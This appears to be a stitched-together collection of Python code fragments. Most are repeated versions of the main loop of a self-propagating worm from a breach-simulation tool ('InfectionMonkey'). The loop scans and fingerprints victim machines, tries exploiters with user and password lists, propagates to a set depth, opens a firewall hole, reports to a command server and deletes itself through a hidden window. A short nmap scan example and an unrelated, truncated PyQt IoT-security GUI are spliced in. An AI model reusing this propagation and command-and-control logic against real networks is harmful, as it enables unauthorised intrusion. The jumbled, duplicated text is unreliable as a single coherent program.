def initialize(self): LOG.info("Monkey is initializing...") if not self._singleton.try_lock(): raise Exception( "Another instance of the monkey is already running") arg_parser = argparse.ArgumentParser() arg_parser.add_argument('-p', '--parent') arg_parser.add_argument('-t', '--tunnel') arg_parser.add_argument('-s', '--server') arg_parser.add_argument('-d', '--depth') opts, self._args = arg_parser.parse_known_args(self._args) self._parent = opts.parent self._default_tunnel = opts.tunnel self._default_server = opts.server if opts.depth: WormConfiguration.depth = int(opts.depth) WormConfiguration._depth_from_commandline = True self._keep_running = True self._network = NetworkScanner() self._dropper_path = sys.argv[0] if self._default_server: if self._default_server not in WormConfiguration.command_servers: LOG.debug("Added default server: %s" % self._default_server) WormConfiguration.command_servers.insert( 0, self._default_server) else: LOG.debug( "Default server: %s is already in command servers list" % self._default_server)
def initialize(self): LOG.info("Monkey is initializing...") if not self._singleton.try_lock(): raise Exception("Another instance of the monkey is already running") arg_parser = argparse.ArgumentParser() arg_parser.add_argument('-p', '--parent') arg_parser.add_argument('-t', '--tunnel') arg_parser.add_argument('-s', '--server') arg_parser.add_argument('-d', '--depth') opts, self._args = arg_parser.parse_known_args(self._args) self._parent = opts.parent self._default_tunnel = opts.tunnel self._default_server = opts.server if opts.depth: WormConfiguration.depth = int(opts.depth) WormConfiguration._depth_from_commandline = True self._keep_running = True self._network = NetworkScanner() self._dropper_path = sys.argv[0] if self._default_server: if self._default_server not in WormConfiguration.command_servers: LOG.debug("Added default server: %s" % self._default_server) WormConfiguration.command_servers.insert(0, self._default_server) else: LOG.debug("Default server: %s is already in command servers list" % self._default_server)
class ChaosMonkey(object): def __init__(self, args): self._keep_running = False self._exploited_machines = set() self._fail_exploitation_machines = set() self._singleton = SystemSingleton() self._parent = None self._default_tunnel = None self._args = args self._network = None self._dropper_path = None self._exploiters = None self._fingerprint = None self._default_server = None self._depth = 0 def initialize(self): LOG.info("Monkey is initializing...") if not self._singleton.try_lock(): raise Exception( "Another instance of the monkey is already running") arg_parser = argparse.ArgumentParser() arg_parser.add_argument('-p', '--parent') arg_parser.add_argument('-t', '--tunnel') arg_parser.add_argument('-s', '--server') arg_parser.add_argument('-d', '--depth') opts, self._args = arg_parser.parse_known_args(self._args) self._parent = opts.parent self._default_tunnel = opts.tunnel self._default_server = opts.server if opts.depth: WormConfiguration.depth = int(opts.depth) WormConfiguration._depth_from_commandline = True self._keep_running = True self._network = NetworkScanner() self._dropper_path = sys.argv[0] if self._default_server: if self._default_server not in WormConfiguration.command_servers: LOG.debug("Added default server: %s" % self._default_server) WormConfiguration.command_servers.insert( 0, self._default_server) else: LOG.debug( "Default server: %s is already in command servers list" % self._default_server) def start(self): LOG.info("Monkey is running...") if firewall.is_enabled(): firewall.add_firewall_rule() ControlClient.wakeup(parent=self._parent, default_tunnel=self._default_tunnel) ControlClient.load_control_config() if not WormConfiguration.alive: LOG.info("Marked not alive from configuration") return monkey_tunnel = ControlClient.create_control_tunnel() if monkey_tunnel: monkey_tunnel.start() last_exploit_time = None ControlClient.send_telemetry("state", {'done': False}) self._default_server = WormConfiguration.current_server LOG.debug("default server: %s" % self._default_server) ControlClient.send_telemetry("tunnel", ControlClient.proxies.get('https')) if WormConfiguration.collect_system_info: LOG.debug("Calling system info collection") system_info_collector = SystemInfoCollector() system_info = system_info_collector.get_info() ControlClient.send_telemetry("system_info_collection", system_info) if 0 == WormConfiguration.depth: LOG.debug("Reached max depth, shutting down") ControlClient.send_telemetry("trace", "Reached max depth, shutting down") return else: LOG.debug("Running with depth: %d" % WormConfiguration.depth) for _ in xrange(WormConfiguration.max_iterations): ControlClient.keepalive() ControlClient.load_control_config() self._network.initialize() self._exploiters = [ exploiter() for exploiter in WormConfiguration.exploiter_classes ] self._fingerprint = [ fingerprint() for fingerprint in WormConfiguration.finger_classes ] if not self._keep_running or not WormConfiguration.alive: break machines = self._network.get_victim_machines( WormConfiguration.scanner_class, max_find=WormConfiguration.victims_max_find, stop_callback=ControlClient.check_for_stop) is_empty = True for machine in machines: if ControlClient.check_for_stop(): break is_empty = False for finger in self._fingerprint: LOG.info( "Trying to get OS fingerprint from %r with module %s", machine, finger.__class__.__name__) finger.get_host_fingerprint(machine) ControlClient.send_telemetry( 'scan', { 'machine': machine.as_dict(), 'scanner': WormConfiguration.scanner_class.__name__ }) # skip machines that we've already exploited if machine in self._exploited_machines: LOG.debug("Skipping %r - already exploited", machine) continue elif machine in self._fail_exploitation_machines: if WormConfiguration.retry_failed_explotation: LOG.debug( "%r - exploitation failed before, trying again", machine) else: LOG.debug("Skipping %r - exploitation failed before", machine) continue if monkey_tunnel: monkey_tunnel.set_tunnel_for_host(machine) if self._default_server: LOG.debug("Default server: %s set to machine: %r" % (self._default_server, machine)) machine.set_default_server(self._default_server) successful_exploiter = None for exploiter in self._exploiters: if not exploiter.is_os_supported(machine): LOG.info( "Skipping exploiter %s host:%r, os is not supported", exploiter.__class__.__name__, machine) continue LOG.info("Trying to exploit %r with exploiter %s...", machine, exploiter.__class__.__name__) try: if exploiter.exploit_host(machine, WormConfiguration.depth): successful_exploiter = exploiter break else: LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__) ControlClient.send_telemetry( 'exploit', { 'result': False, 'machine': machine.__dict__, 'exploiter': exploiter.__class__.__name__ }) except Exception, exc: LOG.error("Exception while attacking %s using %s: %s", machine, exploiter.__class__.__name__, exc) continue if successful_exploiter: self._exploited_machines.add(machine) last_exploit_time = time.time() ControlClient.send_telemetry( 'exploit', { 'result': True, 'machine': machine.__dict__, 'exploiter': successful_exploiter.__class__.__name__ }) LOG.info("Successfully propagated to %s using %s", machine, successful_exploiter.__class__.__name__) # check if max-exploitation limit is reached if WormConfiguration.victims_max_exploit <= len( self._exploited_machines): self._keep_running = False LOG.info("Max exploited victims reached (%d)", WormConfiguration.victims_max_exploit) break else: self._fail_exploitation_machines.add(machine) if not is_empty: time.sleep(WormConfiguration.timeout_between_iterations) if self._keep_running and WormConfiguration.alive: LOG.info("Reached max iterations (%d)", WormConfiguration.max_iterations) elif not WormConfiguration.alive: LOG.info("Marked not alive from configuration") # if host was exploited, before continue to closing the tunnel ensure the exploited host had its chance to # connect to the tunnel if last_exploit_time and (time.time() - last_exploit_time < 60): time.sleep(time.time() - last_exploit_time) if monkey_tunnel: monkey_tunnel.stop() monkey_tunnel.join()
from network.network_scanner import NetworkScanner def nmap_result_callback(hosts): print("scan finished") for host in hosts: print("Found host", host.ip_address, "with MAC address", host.mac_address) print(" ports: ") for port in host.ports: print(" ", port.port_id, port.protocol, port.service) scanner = NetworkScanner.create() network_interfaces = scanner.get_network_interfaces() print("Found network interfaces:", network_interfaces) nif = network_interfaces[0] scanner.scan_network_callback(nif, nmap_result_callback, port_scan=False) print("Network scan started asynchronously") print(nif.get_nmap_arg())
class ChaosMonkey(object): def __init__(self, args): self._keep_running = False self._exploited_machines = set() self._fail_exploitation_machines = set() self._singleton = SystemSingleton() self._parent = None self._default_tunnel = None self._args = args self._network = None self._dropper_path = None self._exploiters = None self._fingerprint = None self._default_server = None self._depth = 0 def initialize(self): LOG.info("Monkey is initializing...") if not self._singleton.try_lock(): raise Exception("Another instance of the monkey is already running") arg_parser = argparse.ArgumentParser() arg_parser.add_argument('-p', '--parent') arg_parser.add_argument('-t', '--tunnel') arg_parser.add_argument('-s', '--server') arg_parser.add_argument('-d', '--depth') opts, self._args = arg_parser.parse_known_args(self._args) self._parent = opts.parent self._default_tunnel = opts.tunnel self._default_server = opts.server if opts.depth: WormConfiguration.depth = int(opts.depth) WormConfiguration._depth_from_commandline = True self._keep_running = True self._network = NetworkScanner() self._dropper_path = sys.argv[0] if self._default_server: if self._default_server not in WormConfiguration.command_servers: LOG.debug("Added default server: %s" % self._default_server) WormConfiguration.command_servers.insert(0, self._default_server) else: LOG.debug("Default server: %s is already in command servers list" % self._default_server) def start(self): LOG.info("Monkey is running...") if firewall.is_enabled(): firewall.add_firewall_rule() ControlClient.wakeup(parent=self._parent, default_tunnel=self._default_tunnel) ControlClient.load_control_config() if not WormConfiguration.alive: LOG.info("Marked not alive from configuration") return monkey_tunnel = ControlClient.create_control_tunnel() if monkey_tunnel: monkey_tunnel.start() ControlClient.send_telemetry("state", {'done': False}) self._default_server = WormConfiguration.current_server LOG.debug("default server: %s" % self._default_server) ControlClient.send_telemetry("tunnel", ControlClient.proxies.get('https')) if WormConfiguration.collect_system_info: LOG.debug("Calling system info collection") system_info_collector = SystemInfoCollector() system_info = system_info_collector.get_info() ControlClient.send_telemetry("system_info_collection", system_info) if 0 == WormConfiguration.depth: LOG.debug("Reached max depth, shutting down") ControlClient.send_telemetry("trace", "Reached max depth, shutting down") return else: LOG.debug("Running with depth: %d" % WormConfiguration.depth) for _ in xrange(WormConfiguration.max_iterations): ControlClient.keepalive() ControlClient.load_control_config() self._network.initialize() self._exploiters = [exploiter() for exploiter in WormConfiguration.exploiter_classes] self._fingerprint = [fingerprint() for fingerprint in WormConfiguration.finger_classes] if not self._keep_running or not WormConfiguration.alive: break machines = self._network.get_victim_machines(WormConfiguration.scanner_class, max_find=WormConfiguration.victims_max_find, stop_callback=ControlClient.check_for_stop) is_empty = True for machine in machines: if ControlClient.check_for_stop(): break is_empty = False for finger in self._fingerprint: LOG.info("Trying to get OS fingerprint from %r with module %s", machine, finger.__class__.__name__) finger.get_host_fingerprint(machine) ControlClient.send_telemetry('scan', {'machine': machine.as_dict(), 'scanner': WormConfiguration.scanner_class.__name__}) # skip machines that we've already exploited if machine in self._exploited_machines: LOG.debug("Skipping %r - already exploited", machine) continue elif machine in self._fail_exploitation_machines: if WormConfiguration.retry_failed_explotation: LOG.debug("%r - exploitation failed before, trying again", machine) else: LOG.debug("Skipping %r - exploitation failed before", machine) continue successful_exploiter = None if monkey_tunnel: monkey_tunnel.set_tunnel_for_host(machine) if self._default_server: LOG.debug("Default server: %s set to machine: %r" % (self._default_server, machine)) machine.set_default_server(self._default_server) for exploiter in self._exploiters: if not exploiter.is_os_supported(machine): LOG.info("Skipping exploiter %s host:%r, os is not supported", exploiter.__class__.__name__, machine) continue LOG.info("Trying to exploit %r with exploiter %s...", machine, exploiter.__class__.__name__) try: if exploiter.exploit_host(machine, WormConfiguration.depth): successful_exploiter = exploiter break else: LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__) ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__, 'exploiter': exploiter.__class__.__name__}) except Exception, exc: LOG.error("Exception while attacking %s using %s: %s", machine, exploiter.__class__.__name__, exc) continue if successful_exploiter: self._exploited_machines.add(machine) ControlClient.send_telemetry('exploit', {'result': True, 'machine': machine.__dict__, 'exploiter': successful_exploiter.__class__.__name__}) LOG.info("Successfully propagated to %s using %s", machine, successful_exploiter.__class__.__name__) # check if max-exploitation limit is reached if WormConfiguration.victims_max_exploit <= len(self._exploited_machines): self._keep_running = False LOG.info("Max exploited victims reached (%d)", WormConfiguration.victims_max_exploit) break else: self._fail_exploitation_machines.add(machine) if not is_empty: time.sleep(WormConfiguration.timeout_between_iterations) if self._keep_running and WormConfiguration.alive: LOG.info("Reached max iterations (%d)", WormConfiguration.max_iterations) elif not WormConfiguration.alive: LOG.info("Marked not alive from configuration") if monkey_tunnel: monkey_tunnel.stop() monkey_tunnel.join()
class ChaosMonkey(object): def __init__(self, args): self._keep_running = False self._exploited_machines = set() self._fail_exploitation_machines = set() self._singleton = SystemSingleton() self._parent = None self._default_tunnel = None self._args = args self._network = None self._dropper_path = None self._exploiters = None self._fingerprint = None self._default_server = None self._depth = 0 def initialize(self): LOG.info("Monkey is initializing...") if not self._singleton.try_lock(): raise Exception( "Another instance of the monkey is already running") arg_parser = argparse.ArgumentParser() arg_parser.add_argument('-p', '--parent') arg_parser.add_argument('-t', '--tunnel') arg_parser.add_argument('-s', '--server') arg_parser.add_argument('-d', '--depth') opts, self._args = arg_parser.parse_known_args(self._args) self._parent = opts.parent self._default_tunnel = opts.tunnel self._default_server = opts.server if opts.depth: WormConfiguration.depth = int(opts.depth) WormConfiguration._depth_from_commandline = True self._keep_running = True self._network = NetworkScanner() self._dropper_path = sys.argv[0] if self._default_server: if self._default_server not in WormConfiguration.command_servers: LOG.debug("Added default server: %s" % self._default_server) WormConfiguration.command_servers.insert( 0, self._default_server) else: LOG.debug( "Default server: %s is already in command servers list" % self._default_server) def start(self): LOG.info("Monkey is running...") if firewall.is_enabled(): firewall.add_firewall_rule() ControlClient.wakeup(parent=self._parent, default_tunnel=self._default_tunnel) ControlClient.load_control_config() if not WormConfiguration.alive: LOG.info("Marked not alive from configuration") return monkey_tunnel = ControlClient.create_control_tunnel() if monkey_tunnel: monkey_tunnel.start() ControlClient.send_telemetry("state", {'done': False}) self._default_server = WormConfiguration.current_server LOG.debug("default server: %s" % self._default_server) ControlClient.send_telemetry( "tunnel", {'proxy': ControlClient.proxies.get('https')}) if WormConfiguration.collect_system_info: LOG.debug("Calling system info collection") system_info_collector = SystemInfoCollector() system_info = system_info_collector.get_info() ControlClient.send_telemetry("system_info_collection", system_info) if 0 == WormConfiguration.depth: LOG.debug("Reached max depth, shutting down") ControlClient.send_telemetry("trace", "Reached max depth, shutting down") return else: LOG.debug("Running with depth: %d" % WormConfiguration.depth) for iteration_index in xrange(WormConfiguration.max_iterations): ControlClient.keepalive() ControlClient.load_control_config() LOG.debug("Users to try: %s" % str(WormConfiguration.exploit_user_list)) LOG.debug("Passwords to try: %s" % str(WormConfiguration.exploit_password_list)) self._network.initialize() self._exploiters = WormConfiguration.exploiter_classes self._fingerprint = [ fingerprint() for fingerprint in WormConfiguration.finger_classes ] if not self._keep_running or not WormConfiguration.alive: break machines = self._network.get_victim_machines( WormConfiguration.scanner_class, max_find=WormConfiguration.victims_max_find, stop_callback=ControlClient.check_for_stop) is_empty = True for machine in machines: if ControlClient.check_for_stop(): break is_empty = False for finger in self._fingerprint: LOG.info( "Trying to get OS fingerprint from %r with module %s", machine, finger.__class__.__name__) finger.get_host_fingerprint(machine) ControlClient.send_telemetry( 'scan', { 'machine': machine.as_dict(), 'scanner': WormConfiguration.scanner_class.__name__ }) # skip machines that we've already exploited if machine in self._exploited_machines: LOG.debug("Skipping %r - already exploited", machine) continue elif machine in self._fail_exploitation_machines: if WormConfiguration.retry_failed_explotation: LOG.debug( "%r - exploitation failed before, trying again", machine) else: LOG.debug("Skipping %r - exploitation failed before", machine) continue if monkey_tunnel: monkey_tunnel.set_tunnel_for_host(machine) if self._default_server: LOG.debug("Default server: %s set to machine: %r" % (self._default_server, machine)) machine.set_default_server(self._default_server) successful_exploiter = None for exploiter in [ exploiter(machine) for exploiter in self._exploiters ]: if not exploiter.is_os_supported(): LOG.info( "Skipping exploiter %s host:%r, os is not supported", exploiter.__class__.__name__, machine) continue LOG.info("Trying to exploit %r with exploiter %s...", machine, exploiter.__class__.__name__) result = False try: result = exploiter.exploit_host() if result: successful_exploiter = exploiter break else: LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__) except Exception as exc: LOG.exception( "Exception while attacking %s using %s: %s", machine, exploiter.__class__.__name__, exc) finally: exploiter.send_exploit_telemetry(result) if successful_exploiter: self._exploited_machines.add(machine) LOG.info("Successfully propagated to %s using %s", machine, successful_exploiter.__class__.__name__) # check if max-exploitation limit is reached if WormConfiguration.victims_max_exploit <= len( self._exploited_machines): self._keep_running = False LOG.info("Max exploited victims reached (%d)", WormConfiguration.victims_max_exploit) break else: self._fail_exploitation_machines.add(machine) if (not is_empty) and (WormConfiguration.max_iterations > iteration_index + 1): time_to_sleep = WormConfiguration.timeout_between_iterations LOG.info( "Sleeping %d seconds before next life cycle iteration", time_to_sleep) time.sleep(time_to_sleep) if self._keep_running and WormConfiguration.alive: LOG.info("Reached max iterations (%d)", WormConfiguration.max_iterations) elif not WormConfiguration.alive: LOG.info("Marked not alive from configuration") # if host was exploited, before continue to closing the tunnel ensure the exploited host had its chance to # connect to the tunnel if len(self._exploited_machines) > 0: time_to_sleep = WormConfiguration.keep_tunnel_open_time LOG.info( "Sleeping %d seconds for exploited machines to connect to tunnel", time_to_sleep) time.sleep(time_to_sleep) if monkey_tunnel: monkey_tunnel.stop() monkey_tunnel.join() def cleanup(self): LOG.info("Monkey cleanup started") self._keep_running = False # Signal the server (before closing the tunnel) ControlClient.send_telemetry("state", {'done': True}) # Close tunnel tunnel_address = ControlClient.proxies.get('https', '').replace( 'https://', '').split(':')[0] if tunnel_address: LOG.info("Quitting tunnel %s", tunnel_address) tunnel.quit_tunnel(tunnel_address) firewall.close() self._singleton.unlock() if WormConfiguration.self_delete_in_cleanup and -1 == sys.executable.find( 'python'): try: if "win32" == sys.platform: from _subprocess import SW_HIDE, STARTF_USESHOWWINDOW, CREATE_NEW_CONSOLE startupinfo = subprocess.STARTUPINFO() startupinfo.dwFlags = CREATE_NEW_CONSOLE | STARTF_USESHOWWINDOW startupinfo.wShowWindow = SW_HIDE subprocess.Popen(DELAY_DELETE_CMD % {'file_path': sys.executable}, stdin=None, stdout=None, stderr=None, close_fds=True, startupinfo=startupinfo) else: os.remove(sys.executable) except Exception as exc: LOG.error("Exception in self delete: %s", exc) LOG.info("Monkey is shutting down")
class InfectionMonkey(object): def __init__(self, args): self._keep_running = False self._exploited_machines = set() self._fail_exploitation_machines = set() self._singleton = SystemSingleton() self._parent = None self._default_tunnel = None self._args = args self._network = None self._dropper_path = None self._exploiters = None self._fingerprint = None self._default_server = None self._depth = 0 self._opts = None self._upgrading_to_64 = False def initialize(self): LOG.info("Monkey is initializing...") if not self._singleton.try_lock(): raise Exception("Another instance of the monkey is already running") arg_parser = argparse.ArgumentParser() arg_parser.add_argument('-p', '--parent') arg_parser.add_argument('-t', '--tunnel') arg_parser.add_argument('-s', '--server') arg_parser.add_argument('-d', '--depth', type=int) self._opts, self._args = arg_parser.parse_known_args(self._args) self._parent = self._opts.parent self._default_tunnel = self._opts.tunnel self._default_server = self._opts.server if self._opts.depth: WormConfiguration._depth_from_commandline = True self._keep_running = True self._network = NetworkScanner() self._dropper_path = sys.argv[0] if self._default_server: if self._default_server not in WormConfiguration.command_servers: LOG.debug("Added default server: %s" % self._default_server) WormConfiguration.command_servers.insert(0, self._default_server) else: LOG.debug("Default server: %s is already in command servers list" % self._default_server) def start(self): LOG.info("Monkey is running...") if not ControlClient.find_server(default_tunnel=self._default_tunnel): LOG.info("Monkey couldn't find server. Going down.") return if WindowsUpgrader.should_upgrade(): self._upgrading_to_64 = True self._singleton.unlock() LOG.info("32bit monkey running on 64bit Windows. Upgrading.") WindowsUpgrader.upgrade(self._opts) return ControlClient.wakeup(parent=self._parent) ControlClient.load_control_config() if not WormConfiguration.alive: LOG.info("Marked not alive from configuration") return if firewall.is_enabled(): firewall.add_firewall_rule() monkey_tunnel = ControlClient.create_control_tunnel() if monkey_tunnel: monkey_tunnel.start() ControlClient.send_telemetry("state", {'done': False}) self._default_server = WormConfiguration.current_server LOG.debug("default server: %s" % self._default_server) ControlClient.send_telemetry("tunnel", {'proxy': ControlClient.proxies.get('https')}) if WormConfiguration.collect_system_info: LOG.debug("Calling system info collection") system_info_collector = SystemInfoCollector() system_info = system_info_collector.get_info() ControlClient.send_telemetry("system_info_collection", system_info) if 0 == WormConfiguration.depth: LOG.debug("Reached max depth, shutting down") ControlClient.send_telemetry("trace", "Reached max depth, shutting down") return else: LOG.debug("Running with depth: %d" % WormConfiguration.depth) for iteration_index in xrange(WormConfiguration.max_iterations): ControlClient.keepalive() ControlClient.load_control_config() LOG.debug("Users to try: %s" % str(WormConfiguration.exploit_user_list)) LOG.debug("Passwords to try: %s" % str(WormConfiguration.exploit_password_list)) self._network.initialize() self._exploiters = WormConfiguration.exploiter_classes self._fingerprint = [fingerprint() for fingerprint in WormConfiguration.finger_classes] if not self._keep_running or not WormConfiguration.alive: break machines = self._network.get_victim_machines(WormConfiguration.scanner_class, max_find=WormConfiguration.victims_max_find, stop_callback=ControlClient.check_for_stop) is_empty = True for machine in machines: if ControlClient.check_for_stop(): break is_empty = False for finger in self._fingerprint: LOG.info("Trying to get OS fingerprint from %r with module %s", machine, finger.__class__.__name__) finger.get_host_fingerprint(machine) ControlClient.send_telemetry('scan', {'machine': machine.as_dict(), 'scanner': WormConfiguration.scanner_class.__name__}) # skip machines that we've already exploited if machine in self._exploited_machines: LOG.debug("Skipping %r - already exploited", machine) continue elif machine in self._fail_exploitation_machines: if WormConfiguration.retry_failed_explotation: LOG.debug("%r - exploitation failed before, trying again", machine) else: LOG.debug("Skipping %r - exploitation failed before", machine) continue if monkey_tunnel: monkey_tunnel.set_tunnel_for_host(machine) if self._default_server: LOG.debug("Default server: %s set to machine: %r" % (self._default_server, machine)) machine.set_default_server(self._default_server) successful_exploiter = None for exploiter in [exploiter(machine) for exploiter in self._exploiters]: if not exploiter.is_os_supported(): LOG.info("Skipping exploiter %s host:%r, os is not supported", exploiter.__class__.__name__, machine) continue LOG.info("Trying to exploit %r with exploiter %s...", machine, exploiter.__class__.__name__) result = False try: result = exploiter.exploit_host() if result: successful_exploiter = exploiter break else: LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__) except Exception as exc: LOG.exception("Exception while attacking %s using %s: %s", machine, exploiter.__class__.__name__, exc) finally: exploiter.send_exploit_telemetry(result) if successful_exploiter: self._exploited_machines.add(machine) LOG.info("Successfully propagated to %s using %s", machine, successful_exploiter.__class__.__name__) # check if max-exploitation limit is reached if WormConfiguration.victims_max_exploit <= len(self._exploited_machines): self._keep_running = False LOG.info("Max exploited victims reached (%d)", WormConfiguration.victims_max_exploit) break else: self._fail_exploitation_machines.add(machine) if (not is_empty) and (WormConfiguration.max_iterations > iteration_index + 1): time_to_sleep = WormConfiguration.timeout_between_iterations LOG.info("Sleeping %d seconds before next life cycle iteration", time_to_sleep) time.sleep(time_to_sleep) if self._keep_running and WormConfiguration.alive: LOG.info("Reached max iterations (%d)", WormConfiguration.max_iterations) elif not WormConfiguration.alive: LOG.info("Marked not alive from configuration") # if host was exploited, before continue to closing the tunnel ensure the exploited host had its chance to # connect to the tunnel if len(self._exploited_machines) > 0: time_to_sleep = WormConfiguration.keep_tunnel_open_time LOG.info("Sleeping %d seconds for exploited machines to connect to tunnel", time_to_sleep) time.sleep(time_to_sleep) if monkey_tunnel: monkey_tunnel.stop() monkey_tunnel.join() def cleanup(self): LOG.info("Monkey cleanup started") self._keep_running = False if self._upgrading_to_64: InfectionMonkey.close_tunnel() firewall.close() else: ControlClient.send_telemetry("state", {'done': True}) # Signal the server (before closing the tunnel) InfectionMonkey.close_tunnel() firewall.close() if WormConfiguration.send_log_to_server: self.send_log() self._singleton.unlock() InfectionMonkey.self_delete() LOG.info("Monkey is shutting down") @staticmethod def close_tunnel(): tunnel_address = ControlClient.proxies.get('https', '').replace('https://', '').split(':')[0] if tunnel_address: LOG.info("Quitting tunnel %s", tunnel_address) tunnel.quit_tunnel(tunnel_address) @staticmethod def self_delete(): if WormConfiguration.self_delete_in_cleanup \ and -1 == sys.executable.find('python'): try: if "win32" == sys.platform: from _subprocess import SW_HIDE, STARTF_USESHOWWINDOW, CREATE_NEW_CONSOLE startupinfo = subprocess.STARTUPINFO() startupinfo.dwFlags = CREATE_NEW_CONSOLE | STARTF_USESHOWWINDOW startupinfo.wShowWindow = SW_HIDE subprocess.Popen(DELAY_DELETE_CMD % {'file_path': sys.executable}, stdin=None, stdout=None, stderr=None, close_fds=True, startupinfo=startupinfo) else: os.remove(sys.executable) except Exception as exc: LOG.error("Exception in self delete: %s", exc) def send_log(self): monkey_log_path = utils.get_monkey_log_path() if os.path.exists(monkey_log_path): with open(monkey_log_path, 'r') as f: log = f.read() else: log = '' ControlClient.send_log(log)
def __init__(self): super().__init__() self.datetime = QDateTime.currentDateTime() self.initUI() self.scanner = NetworkScanner()
class MyApp(QMainWindow): def __init__(self): super().__init__() self.datetime = QDateTime.currentDateTime() self.initUI() self.scanner = NetworkScanner() def initUI(self): ##time status self.statusBar().showMessage('Updated : ' + self.datetime.toString(Qt.DefaultLocaleShortDate)) ##list setting self.iotList = QListWidget(self) self.iotList.setGeometry(QRect(20, 80, 761, 480)) self.iotList.setAutoFillBackground(True) self.iotList.setVerticalScrollBarPolicy(Qt.ScrollBarAlwaysOn) self.iotList.setHorizontalScrollBarPolicy(Qt.ScrollBarAlwaysOn) self.iotList.setSizeAdjustPolicy(QAbstractScrollArea.AdjustToContents) self.iotList.setAutoScrollMargin(14) self.iotList.setEditTriggers(QAbstractItemView.CurrentChanged) self.iotList.setObjectName("iotList") self.iotList.setStyleSheet("border-color: gray;") ##Scan Button self.scanbtn = QPushButton('Scan', self) self.scanbtn.setCheckable(False) self.scanbtn.move(20, 20) self.scanbtn.setIcon(QIcon('LocalNetworkGUI/scanicon.png')) self.scanbtn.resize(self.scanbtn.sizeHint()) self.scanbtn.clicked.connect(self.scan_Click) self.scanbtn.toggle() ##Add Device Button addbtn = QPushButton('Add a device', self) addbtn.setCheckable(False) addbtn.move(115, 20) addbtn.setIcon(QIcon('LocalNetworkGUI/addicon.png')) addbtn.resize(addbtn.sizeHint()) addbtn.clicked.connect(self.add_Click) addbtn.toggle() ##Add Semi trusted Device Button addbtn = QPushButton('Add a semi trusted device', self) addbtn.setCheckable(False) addbtn.move(245, 20) addbtn.setIcon(QIcon('LocalNetworkGUI/addicon.png')) addbtn.resize(addbtn.sizeHint()) addbtn.clicked.connect(self.add_semitrusted_Click) addbtn.toggle() ##Delete Device Button deletebtn = QPushButton('Delete a device', self) deletebtn.setCheckable(False) deletebtn.move(436, 20) deletebtn.setIcon(QIcon('LocalNetworkGUI/deleteicon.png')) deletebtn.resize(deletebtn.sizeHint()) deletebtn.clicked.connect(self.delete_Click) deletebtn.toggle() ##Rename Button renamebtn = QPushButton('Rename ', self) renamebtn.setCheckable(False) renamebtn.move(574, 20) renamebtn.setIcon(QIcon('LocalNetworkGUI/renameicon.png')) renamebtn.resize(renamebtn.sizeHint()) renamebtn.clicked.connect(self.rename_Click) renamebtn.toggle() ##History Device Button historybtn = QPushButton('History', self) historybtn.setCheckable(False) historybtn.move(670, 20) historybtn.setIcon(QIcon('LocalNetworkGUI/historyicon.png')) historybtn.resize(historybtn.sizeHint()) #historybtn.setStyleSheet('background: red;') historybtn.clicked.connect(self.history_Click) historybtn.toggle() ##Risk Label risk = QLabel(self) risk.resize(50, 50) pixmap = QPixmap("LocalNetworkGUI/riskicon.png") pixmap = pixmap.scaledToWidth(30) risk.setPixmap(QPixmap(pixmap)) risk.move(640, 15) risk.hide() ##window self.setWindowTitle("Home IoT security") self.setWindowIcon(QIcon('LocalNetworkGUI/homeicon.png')) self.setGeometry(300, 200, 801, 600) self.show() ## button function ## add button def add_Click(self): if self.iotList.currentItem().state == 0: self.add_question() else: self.add_information() def add_question(self): reply = QMessageBox.question(self, 'question', 'Are you sure to add this device?', QMessageBox.Yes | QMessageBox.No, QMessageBox.No) if reply == QMessageBox.Yes: self.iotList.currentItem().state = 1 self.iotList.currentItem().setIcon(QIcon('LocalNetworkGUI/safeicon.png')) self.iotList.currentItem().setBackground(QColor(200, 255, 200)) item = self.iotList.takeItem(self.iotList.currentRow()) trust = item.text().split(' ')[3] + "\n" f = open('trusted', 'a') f.write(trust) f.close() self.iotList.addItem(item) def add_information(self): QMessageBox.information(self, 'information', 'Already Added!', QMessageBox.Ok) ## add semi trusted button def add_semitrusted_Click(self): if self.iotList.currentItem().state == 0: self.add_semitrusted_question() else: self.add_semitrusted_information() def add_semitrusted_question(self): reply = QMessageBox.question(self, 'question', 'Are you sure to add this device?', QMessageBox.Yes | QMessageBox.No, QMessageBox.No) if reply == QMessageBox.Yes: self.iotList.currentItem().state = 2 self.iotList.currentItem().setIcon(QIcon('LocalNetworkGUI/safeicon.png')) self.iotList.currentItem().setBackground(QColor(255, 240, 150)) item = self.iotList.takeItem(self.iotList.currentRow()) Whitelist.get_instance().add_semiwhitelisted(item.host) trust = item.text().split(' ')[3] + "\n" f = open('trusted', 'a') f.write(trust) f.close() self.iotList.addItem(item) def add_semitrusted_information(self): QMessageBox.information(self, 'information', 'Already Added!', QMessageBox.Ok) ## delete button def delete_Click(self): self.delete_question1() def delete_question1(self): reply = QMessageBox.question(self, 'question', 'Are you sure to delete this device?', QMessageBox.Yes | QMessageBox.No, QMessageBox.No) if reply == QMessageBox.Yes: if self.iotList.currentItem().state == 0: self.delete_question2() else: f = open("trusted", 'r') dataset = f.read() f.close() f = open("trusted", 'w') f.close() f = open("trusted", 'a') itemList = dataset.split('\n') for i in itemList: if self.iotList.currentItem().text().split(" ")[3] not in i: f.write(i + "\n") f.close() mac = self.iotList.currentItem().host.mac_address if mac in Whitelist.get_instance().semiwhitelist: Whitelist.get_instance().remove_semiwhitelisted(mac) self.iotList.takeItem(self.iotList.currentRow()) def delete_question2(self): reply = QMessageBox.question(self, 'question', 'This device is unconfirmed.\r\nDo you want to report?', QMessageBox.Yes | QMessageBox.No, QMessageBox.Yes) if reply == QMessageBox.Yes: self.delete_report() self.iotList.takeItem(self.iotList.currentRow()) def delete_report(self): QMessageBox.information(self, 'information', 'Reported.', QMessageBox.Ok) ## rename button def rename_Click(self): if (self.iotList.currentItem().state == 1) or (self.iotList.currentItem().state == 2): self.rename_edit() else: self.rename_warning() def rename_warning(self): QMessageBox.warning(self, 'Warning', 'This device is unconfirmed.\r\nPlease check first.', QMessageBox.Ok) def rename_edit(self): text, ok = QInputDialog.getText(self, 'Input Name', 'Enter new name:') st = self.iotList.currentItem().text().split("\r\n") self.iotList.currentItem().setText(st[0] + "\r\n" + str(text) + "\r\n") if ok: f = open("trusted", 'r') find = f.read() f.close() f = open("trusted", 'w') f.close() f = open("trusted", 'a') itemList = find.split('\n') for i in itemList: if self.iotList.currentItem().text().split(" 